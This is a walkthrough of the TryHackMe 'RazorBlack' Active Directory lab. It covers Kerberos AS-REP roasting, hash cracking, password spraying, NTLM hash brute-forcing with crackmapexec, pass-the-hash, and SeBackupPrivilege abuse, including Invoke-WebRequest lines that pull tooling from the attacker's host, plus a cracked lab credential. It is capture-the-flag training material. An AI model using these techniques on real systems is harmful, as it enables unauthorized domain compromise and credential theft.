> For the complete documentation index, see [llms.txt](https://infintesky.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://infintesky.gitbook.io/pentesting/active-directory/tryhackme-practice/razorblack.md).

# RazorBlack

## Information Gathering

`sudo nmapAutomator.sh 10.10.87.225 all`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FgpHcLz0HLQ21BevLs0LE%2Fimage.png?alt=media\&token=ff1af032-97e6-438a-a2c4-2cfd3d40d37e)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FCEryby1AK3Srzy7m8ae6%2Fimage.png?alt=media\&token=39af38c7-94c6-49c9-b5fd-298c7d3d0fc8)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F4ohBgbsUJgQcfpYya58Q%2Fimage.png?alt=media\&token=c442cd0a-6a49-48d7-992a-f3896eef4acc)

This looks like a Domain Controller because Kerberos is enabled as seen on port 88, LDAP is also enabled.

Domain Name: raz0rblack.thm

### Service Enumeration

### SMB (Port 139/445)

Can't find anything here.

### Port Mapper (Port 111)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FcUTSKKH5fWHV7Vmn4eUb%2Fimage.png?alt=media\&token=76735d8c-e732-4868-b898-32eafc9358e4)

`sbradley.txt` contains the first flag while `empoyee_status.xlsx` contains the following:

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FlOlksmAVW8jDvQCun6Xb%2Fimage.png?alt=media\&token=b3a0f54a-6bb6-4f86-bce5-d608511fb051)

## Exploit

Notice that we have Steven Bradley in row 16 and there was a sbradley.txt. Clever guessing would mean that the usernames are dport, iroyce, etc. We can then make a file of usernames.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FJgh8hwWNMGhzA8txILxt%2Fimage.png?alt=media\&token=8cc6ce77-c112-4493-b24c-7b5ae6c39291)

We can then use Impacket's `GetNPUsers.py` to brute force Kerberos. Any responses we get are encrypted with the user's password, which we can use john to try to crack.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FDRi4YmedhHpyUyiSs6m9%2Fimage.png?alt=media\&token=beb548fa-24bc-445a-8a46-fdd4cd95d78d)

We see that we have a password hash for `twilliams` user. We can use john to crack the hash.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FKsndHO6cPjQtu5so77C0%2Fimage.png?alt=media\&token=82595922-1516-4fc5-bab6-9a2e240286b2)

Looks like we got credentials.

`twilliams:roastpotatoes`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FfwnVmxIJH79TaWZF4Z8o%2Fimage.png?alt=media\&token=bd95d5e4-ea43-4b59-b650-f918862f1e0b)

Using `smbmap`, we see an interesting share, trash, but we don't have access to it. Since we have access to the IPC$ share, we can brute force usernames.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FmjvAQ1HFKtzP51fNJfFZ%2Fimage.png?alt=media\&token=ef29f98d-09c7-4bc5-ac34-1bed52cc531b)

Let's filter down all the users and see if there is anyone new that was not in the employee\_status.xlsx file earlier. 

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FeNpzQwvvClla3sIQUzEe%2Fimage.png?alt=media\&token=24a9ee63-30e5-41e2-ad6f-e2decb69661f)

Let's try the password on all users to see if the password is reused.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FUPgdszlFBHlr0itcGqbY%2Fimage.png?alt=media\&token=c14e73ea-e0d0-49df-83b7-6e188a685fa1)

Notice that for the user `sbradley`, it says that his password must be changed. Let's do that.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FaFcp3ofwlkGmPQOsyNkK%2Fimage.png?alt=media\&token=bc460e39-bf3a-476f-849d-5147bb526296)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FkpJBz45cQ6CDB3soyWfx%2Fimage.png?alt=media\&token=d6f7e42d-3155-4b86-b99f-bd8f446332a9)

Great, it looks like we have read perms to trash share. Let's download all files inside the share.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FcGu7SBW2ATeZnYi6zeSK%2Fimage.png?alt=media\&token=2ae0347f-1ec7-4459-a1b4-bc58344931dc)

Looks like the chat log contains useful information for privesc later.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FHAMSm0C1jj0Xv43dFXXq%2Fimage.png?alt=media\&token=38ac9874-4953-41ec-8768-5b63411c7061)

We can then use zip2john to convert the zip file into a hash for john to crack.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FiZZZaiUyOBg3DfWOEJDe%2Fimage.png?alt=media\&token=39934d4a-1962-49ed-bcb9-98e7e77be9ab)

Let's unzip the file and extract the hashes.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FSFAKpMLQgIEYvLDhbXoo%2Fimage.png?alt=media\&token=b6ecec9c-3bc3-4a5e-874b-b7cf4d300306)

Next, we use cut to extract the NTLM hashes part only.

`cat hashes.txt | cut -d ":" -f 4 > ntlmhashes.txt`

Then we use some vim magic to remove the first 4 lines.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FlaKl33pimAKiI59LT4fH%2Fimage.png?alt=media\&token=5e1f42e5-543f-49e7-9626-da3f051138d2)

Now that we are left with the NTLM hashes, we can brute force to get the correct hash. 

`crackmapexec smb 10.10.46.129 -u lvetrova -H ntlmhashes.txt`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FC4bR3FpjvzBOZ6paqRWY%2Fimage.png?alt=media\&token=65e089f4-55b6-4f03-bd3f-f9b1a5769b80)

Now that we got the hash, we can use `evil-winrm`, to gain access.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FGxDoNWonrxeOyapqWOai%2Fimage.png?alt=media\&token=e4e954b8-9688-42f4-84dd-e4186810be18)

In the user directory, we see an interesting XML file.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FSv6lu1r2VEP0UEABNLDm%2Fimage.png?alt=media\&token=16cad433-448b-4617-b513-2a7f76212642)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FQJHVahScCGD0UbAY3HZM%2Fimage.png?alt=media\&token=c9176550-89d5-4227-83d1-a8d323f289d1)

Next, we can make use of pass the hash attack using lvetrova's credentials.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FEfmOusPxrLg7JiSBhRnw%2Fimage.png?alt=media\&token=a3c5a41e-51d4-4e59-892a-8763aa56ee7c)

Let's use john again.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FqMlSkyEfSOIWFkqwopo5%2Fimage.png?alt=media\&token=8c46eb02-4507-4fb1-83f6-4deff7d71c30)

Same thing as lvetrova.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F3bNbmx8n7tuSYQyITQJh%2Fimage.png?alt=media\&token=b44b6820-c6de-45ab-95cc-30ea0115e14c)

## Privesc

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FjukX0hIQOFNBoknyFC0P%2Fimage.png?alt=media\&token=60bca809-2a36-4c48-8ec1-9c0e9b6bdd9f)

{% embed url="<https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#sebackupprivilege-3.1.4>" %}

We can make use of the SeBackupPrivilege to escalate privileges. Take note that there's a space between each line.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FmtoyaXGqqEA1MHf2SA3O%2Fimage.png?alt=media\&token=776d77eb-f83a-4978-aab3-c9e82a1ff681)

Clone the following repo.

{% embed url="<https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug>" %}

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FuVtloIqylBIw73phZbg4%2Fimage.png?alt=media\&token=9eacb32b-bb64-4f16-b482-274297950b14)

Upload the `diskshadow.txt` file.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fgi889oBrYcOzx79wicGi%2Fimage.png?alt=media\&token=2fff4dc8-7838-4292-ac82-27e7bfaf1879)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FIWi2Px5uyVrlvUb5Ymmv%2Fimage.png?alt=media\&token=494c2020-a6ea-4f69-840a-4576d23e3d80)

Let's transfer the 2 DLL files next.

1. `Invoke-WebRequest http://10.9.141.31:80/home/kali/thm/razor/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll -Outfile C:\tmp\SeBackupPrivilegeUtils.dll`
2. `Invoke-WebRequest http://10.9.141.31:80/home/kali/thm/razor/SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll -Outfile C:\tmp\SeBackupPrivilegeCmdLets.dll`

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FqxLj3sY3YTTckfKPQ0Cj%2Fimage.png?alt=media\&token=a535edfb-9954-48cc-a524-5ed1edef6dc2)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FMqFNsZcwvUNrTgGK1J80%2Fimage.png?alt=media\&token=490ff05f-2089-4130-9cc6-f1f7df9bafd8)

Great, now let's dump the hashes.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2F8A2QbrkCi3pPDpXGTjoI%2Fimage.png?alt=media\&token=23449092-82d2-4d37-b5e1-cff460a580dd)

And, we can pass the hash under Administrator, and we got SYSTEM.

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2Fdw0L9fTCmvJqS93he6A8%2Fimage.png?alt=media\&token=0859bd66-6f71-4d46-8b7b-eb4e15c3dffe)

![](https://1575243701-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mg-SvuygW2bF4zu7kiy%2Fuploads%2FlQIFyCYR9bcnf1NHqf5n%2Fimage.png?alt=media\&token=555c267f-bab2-4f81-95bb-edf65b08fa18)

Use an magic on cyber chef to the get the flag.